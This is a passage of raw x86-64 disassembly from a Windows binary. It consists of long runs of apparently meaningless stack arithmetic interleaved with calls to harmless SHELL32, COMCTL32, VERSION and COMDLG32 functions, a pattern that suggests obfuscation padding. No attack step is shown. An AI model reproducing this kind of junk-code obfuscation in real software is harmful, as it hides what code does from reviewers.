and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b64], eax
movzx eax, word [rsp + 0x2890]
movzx ecx, word [rsp + 0xd0c]
xor eax, ecx
mov word [rsp + 0x2c84], ax
mov r8d, reloc.SHELL32.dll_ILIsParent
mov rdx, qword [rsp + 0xd7e8]
mov rcx, qword [rsp + 0xd370]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
lea rax, [rsp + 0xa0e8]
mov qword [0x14019f2b0], rax
movzx eax, byte [rsp + 0x543]
mov byte [rsp + 0x549], al
mov eax, dword [rsp + 0x5918]
cdq
mov rcx, qword [rsp + 0xd050]
idiv dword [rcx]
mov dword [rsp + 0x6dd4], eax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
movsx ecx, word [0x14019d094]
shl eax, cl
mov word [rsp + 0x20c4], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1494], ax
mov rax, qword [rsp + 0xd178]
mov rcx, qword [rsp + 0xd248]
mov qword [rsp + 0xe138], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe138]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd570], rax
lea rax, [rsp + 0x4f9]
mov qword [rsp + 0xe140], rax
mov rax, qword [rsp + 0xd058]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b8c], eax
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0xe148], rax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f090], ax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [rsp + 0xdab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e10], rax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe048]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd670], rax
mov rax, qword [rsp + 0xa3d0]
mov qword [rsp + 0xe150], rax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0xd9f0]
movzx eax, byte [rax]
mov byte [rsp + 0x54a], al
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019eff0]
shl rax, cl
mov qword [rsp + 0xd938], rax
mov eax, dword [rsp + 0x6d14]
mov rcx, qword [rsp + 0xd118]
mov qword [rsp + 0xe158], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe158]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6d10], eax
mov eax, dword [rsp + 0x6d98]
mov ecx, dword [rsp + 0x6d8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5884], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e9], al
mov dword [rsp + 0x20], ILCreateFromPathW
lea r9, [rsp + 0xd668]
mov r8, qword [rsp + 0xd2c8]
mov rdx, qword [rsp + 0xd1b0]
mov rcx, qword [rsp + 0xd4d8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6ed0], eax
movzx eax, word [rsp + 0x10c8]
mov word [0x14019f2b8], ax
mov rax, qword [0x14019f100]
movzx eax, word [rax]
mov word [rsp + 0x2d34], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ad0], ax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc418], rax
lea rax, [rsp + 0xda]
mov qword [rsp + 0xe160], rax
mov rax, qword [rsp + 0xc188]
mov rcx, qword [rsp + 0xd0e8]
mov qword [rsp + 0xe168], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe168]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xac30], rax
mov eax, dword [rsp + 0x6de4]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xe170], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe170]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68ec], eax
movsx eax, word [0x14019d110]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd470]
mov word [rcx], ax
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x2d38], ax
mov rax, qword [rsp + 0xd450]
mov rcx, qword [rsp + 0xd260]
sub rcx, rax
mov rax, rcx
mov qword [0x14019f1b8], rax
movzx eax, word [0x14019d150]
movzx ecx, word [rsp + 0x17c4]
sub eax, ecx
mov word [rsp + 0x2cbc], ax
mov rax, qword [rsp + 0xd918]
mov rcx, qword [rsp + 0xd478]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdc90], rax
mov rax, qword [rsp + 0xd3a8]
mov rcx, qword [rsp + 0x91b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc738], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51d], al
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov dword [rsp + 0x6ed4], eax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdd60]
mov qword [rsp + 0xe178], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe178]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6c94], eax
movzx eax, byte [rsp + 0x3b1]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x507], al
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov qword [rsp + 0xe180], rax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c4c]
sar eax, cl
mov word [0x14019d080], ax
movsx eax, word [rsp + 0x2b30]
movsx ecx, word [rsp + 0x2ad8]
xor eax, ecx
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, word [rsp + 0x2b84]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d98], ax
mov rax, qword [rsp + 0xdd00]
mov ecx, dword [rsp + 0x6b8c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d5c], eax
mov rax, qword [rsp + 0xe058]
movzx eax, byte [rax]
mov byte [rsp + 0x54b], al
mov rax, qword [rsp + 0xd908]
mov rcx, qword [rsp + 0xd110]
mov qword [rsp + 0xe188], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe188]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xdc58], rax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x13f0], ax
movzx eax, word [rsp + 0x2c1c]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb198]
add rcx, rax
mov rax, rcx
mov qword [str._vrOj], rax
mov rax, qword [0x14019f2b0]
mov rcx, qword [rsp + 0xda90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xca50], rax
mov rax, qword [rsp + 0xdd78]
mov qword [rsp + 0xe190], rax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xd670]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd320], rax
movzx eax, word [0x14019f07c]
mov word [rsp + 0x2d3c], ax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4fa], al
lea rcx, [rsp + 0x1e600]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x6ed8], eax
lea rax, [rsp + 0x5ec4]
mov qword [rsp + 0xe198], rax
movsx eax, byte [rsp + 0x51d]
movsx ecx, byte [rsp + 0x52a]
shl eax, cl
mov byte [rsp + 0x520], al
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb78]
mov qword [rsp + 0xe1a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9fe0], rax
lea r9, [rsp + 0xd168]
mov r8d, 0x81
mov edx, 0x81
mov rcx, qword [rsp + 0xd1b0]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov dword [0x14019f2bc], eax
mov rax, qword [0x14019f0c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e7c]
xor eax, ecx
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a8c]
and eax, ecx
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov word [rsp + 0x2d40], ax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xd720]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd440], rax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xdbe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa448], rax
lea r9, [rsp + 0x216d0]
lea r8, [rsp + 0xd368]
lea rdx, [fcn.140182fd0]
mov rcx, qword [rsp + 0xd010]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6bb8], eax
lea rax, [rsp + 0x5ea4]
mov qword [rsp + 0xe1a8], rax
movsx eax, byte [rsp + 0x4ad]
mov rcx, qword [rsp + 0xe160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9b], al
lea rax, [rsp + 0x2d00]
mov qword [rsp + 0xe1b0], rax
movzx eax, word [rsp + 0x2cb4]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019f078], ax
mov rax, qword [rsp + 0xd6a0]
mov rcx, qword [rsp + 0xd2a0]
mov qword [rsp + 0xe1b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b6c], ax
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xdbc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6700], eax
movzx eax, byte [rsp + 0x511]
movzx ecx, byte [rsp + 0x524]
add eax, ecx
mov byte [rsp + 0x51c], al
mov rax, qword [rsp + 0x9a70]
mov qword [rsp + 0xe1c0], rax
movsx eax, byte [0x14019ef93]
movsx ecx, byte [rsp + 0x52b]
add eax, ecx
mov byte [rsp + 0x526], al
mov eax, dword [rsp + 0x6df0]
mov dword [rsp + 0x6edc], eax
lea rcx, [rsp + 0x1f020]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x6ee0], eax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xde90]
mov word [rcx], ax
movzx eax, word [0x14019d0ac]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d188], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd088]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc90], rax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb568]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1f0], rax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13f0]
or eax, ecx
mov rcx, qword [rsp + 0xda00]
mov word [rcx], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov word [rsp + 0x2d44], ax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xe1c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6dcc], eax
mov rax, qword [rsp + 0xcb68]
movzx ecx, al
mov rax, qword [rsp + 0xd8c0]
shr rax, cl
mov qword [rsp + 0xc188], rax
lea r9, [rsp + 0x1e3b0]
lea r8, [rsp + 0x1ffe0]
lea rdx, [fcn.140182fd0]
mov rcx, qword [rsp + 0xd370]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6ce0], eax
lea rax, [rsp + 0x1e5]
mov qword [rsp + 0xe1d0], rax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xc880]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xca50], rax
mov rax, qword [rsp + 0xe1b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b7c]
sub eax, ecx
mov word [0x14019d110], ax
movzx eax, word [rsp + 0x2ccc]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f3c], ax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x513]
shl eax, cl
mov byte [rsp + 0x4e9], al
lea rdx, [rsp + 0xd168]
mov rcx, qword [rsp + 0xe1d8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x6d24], eax
mov eax, dword [rsp + 0x6928]
mov ecx, dword [rsp + 0x5918]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xde38]
mov qword [rsp + 0xe1e0], rax
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5e18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xe140]
movzx eax, byte [rax]
mov byte [rsp + 0x54c], al
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [0x14019f0f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae78], rax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2284], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
movzx ecx, word [0x14019f188]
xor eax, ecx
mov word [0x14019f168], ax
mov rax, qword [rsp + 0xd6c8]
mov rcx, qword [rsp + 0xd298]
mov qword [rsp + 0xe1e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ae4], ax
mov rax, qword [0x14019f240]
movzx eax, word [rax]
mov word [rsp + 0x2d48], ax
mov rax, qword [rsp + 0xd170]
movzx ecx, al
mov rax, qword [rsp + 0xd1e0]
shl rax, cl
mov qword [rsp + 0x9e78], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cf4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x61d0], eax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
add eax, ecx
mov byte [rsp + 0x4f9], al
mov rax, qword [rsp + 0xe010]
mov rcx, qword [rsp + 0xdbe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb0a0], rax
movzx eax, word [rsp + 0x2a9c]
mov word [rsp + 0x2d4c], ax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov qword [0x14019f2c0], rax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6254]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6104], eax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0x28b0]
movsx ecx, word [rsp + 0xec0]
sar eax, cl
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ccc]
add eax, ecx
mov word [rsp + 0x28e0], ax
lea rax, [rsp + 0x6e30]
mov qword [rsp + 0xe1f0], rax
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0xb0a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd9a0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4f1]
mov byte [rsp + 0x54d], al
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b68]
xor eax, ecx
mov rcx, qword [rsp + 0xdb90]
mov word [rcx], ax
movzx eax, word [rsp + 0x2890]
mov word [0x14019f2c8], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xdb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0xbf08]
mov qword [rsp + 0xe1f8], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd918]
mov qword [rsp + 0xe200], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe200]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd758], rax
movsx eax, word [rsp + 0x1a38]
movsx ecx, word [rsp + 0x2d24]
shl eax, cl
mov word [rsp + 0x1994], ax
mov rax, qword [rsp + 0xd118]
mov rcx, qword [rsp + 0xdbd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xe1a8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x4ec]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x32c], al
mov rax, qword [rsp + 0xd0f0]
mov qword [rsp + 0xe208], rax
lea rcx, [rsp + 0xdf30]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52d], al
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x5b24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64ec], eax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
mov rcx, qword [0x14019f088]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d110], ax
movzx eax, word [rsp + 0x2b6c]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b18], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov word [rsp + 0x2d50], ax
mov rax, qword [0x14019f048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa548]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdfe8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6e58]
movzx ecx, al
mov eax, dword [rsp + 0x6dec]
shl eax, cl
mov rcx, qword [rsp + 0xd198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd6e0]
mov qword [rsp + 0xe210], rax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e6]
add eax, ecx
mov byte [rsp + 0x515], al
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x162c]
add eax, ecx
mov word [rsp + 0xc28], ax
movzx eax, word [rsp + 0x2c70]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xdc78]
mov rcx, qword [rsp + 0xad38]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d190], rax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2580]
or eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rax, qword [0x14019f0a8]
mov qword [rsp + 0xe218], rax
mov rax, qword [rsp + 0xdfb0]
movzx ecx, al
mov rax, qword [rsp + 0xc488]
shl rax, cl
mov qword [rsp + 0xe0e8], rax
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6e9c]
shr eax, cl
mov dword [rsp + 0x68dc], eax
mov rax, qword [rsp + 0xa3c8]
mov rcx, qword [rsp + 0x9400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xad08], rax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4a1]
sub eax, ecx
mov byte [rsp + 0x4f0], al
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x6ee4], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe058]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x344], al
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d108], ax
lea rax, [rsp + 0x15b8]
mov qword [rsp + 0xe220], rax
movzx eax, word [rsp + 0x2cfc]
movzx ecx, word [rsp + 0x2abc]
sub eax, ecx
mov word [rsp + 0x185c], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov word [rsp + 0x2d54], ax
movsx eax, byte [rsp + 0x76]
movsx ecx, byte [rsp + 0x3aa]
or eax, ecx
mov rcx, qword [rsp + 0xe1d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd3b8]
mov qword [rsp + 0xe228], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe228]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcc48], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xde78]
mov qword [rsp + 0xe230], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe230]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5b74], eax
mov rax, qword [0x14019f1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov word [rsp + 0x2d58], ax
mov rax, qword [rsp + 0xdfe8]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019d0a0], rax
mov rax, qword [rsp + 0xdd30]
mov rcx, qword [rsp + 0xad38]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9e8], rax
mov rax, qword [rsp + 0xaf10]
mov rcx, qword [rsp + 0xd870]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdbc0], rax
mov rax, qword [rsp + 0xcac8]
movzx ecx, al
mov rax, qword [rsp + 0xdcb0]
shl rax, cl
mov qword [rsp + 0xb138], rax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11f4], ax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x6ee8], eax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xff]
sub eax, ecx
mov rcx, qword [rsp + 0xd550]
mov byte [rcx], al
mov rax, qword [rsp + 0xdb10]
mov rcx, qword [rsp + 0xa3c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [0x14019f198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov dword [0x14019f2cc], eax
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29ac]
add eax, ecx
mov word [rsp + 0x151c], ax
movzx eax, word [rsp + 0x2cf8]
mov word [rsp + 0x2d5c], ax
movzx eax, word [0x14019f128]
movzx ecx, word [rsp + 0x2b88]
add eax, ecx
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd998]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe0e8], rax
movzx eax, byte [rsp + 0x520]
mov byte [rsp + 0x54e], al
mov eax, dword [rsp + 0x6cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6d74]
shr eax, cl
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a54]
shl eax, cl
mov word [0x14019d0c8], ax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov qword [rsp + 0xe238], rax
lea rcx, [rsp + 0x1e880]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0xce40], rax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov eax, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x695c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f5c], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d010]
shl eax, cl
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54b], al
mov eax, dword [rsp + 0x586c]
mov dword [rsp + 0x6eec], eax
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0xb6e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdd18], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c74], ax
movzx eax, word [rsp + 0x1b18]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d198], ax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov qword [rsp + 0xe240], rax
mov rax, qword [rsp + 0xda90]
mov rcx, qword [rsp + 0xde38]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe100], rax
movsx eax, word [rsp + 0x1994]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d1c], ax
mov rax, qword [rsp + 0xe208]
mov rcx, qword [rsp + 0xad08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd428], rax
movzx eax, byte [rsp + 0x54b]
mov byte [rsp + 0x54f], al
xor edx, edx
mov eax, dword [rsp + 0x6e9c]
div dword [rsp + 0x66f8]
mov dword [rsp + 0x6894], eax
mov rax, qword [rsp + 0xb4e0]
mov rcx, qword [rsp + 0xd998]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xad88], rax
lea rax, [rsp + 0x2b94]
mov qword [0x14019f2d0], rax
movzx eax, word [rsp + 0x2bdc]
movzx ecx, word [rsp + 0x20b0]
sar eax, cl
mov word [rsp + 0x22a8], ax
mov eax, dword [rsp + 0x6a8c]
mov dword [rsp + 0x6ef0], eax
mov rax, qword [rsp + 0xdc70]
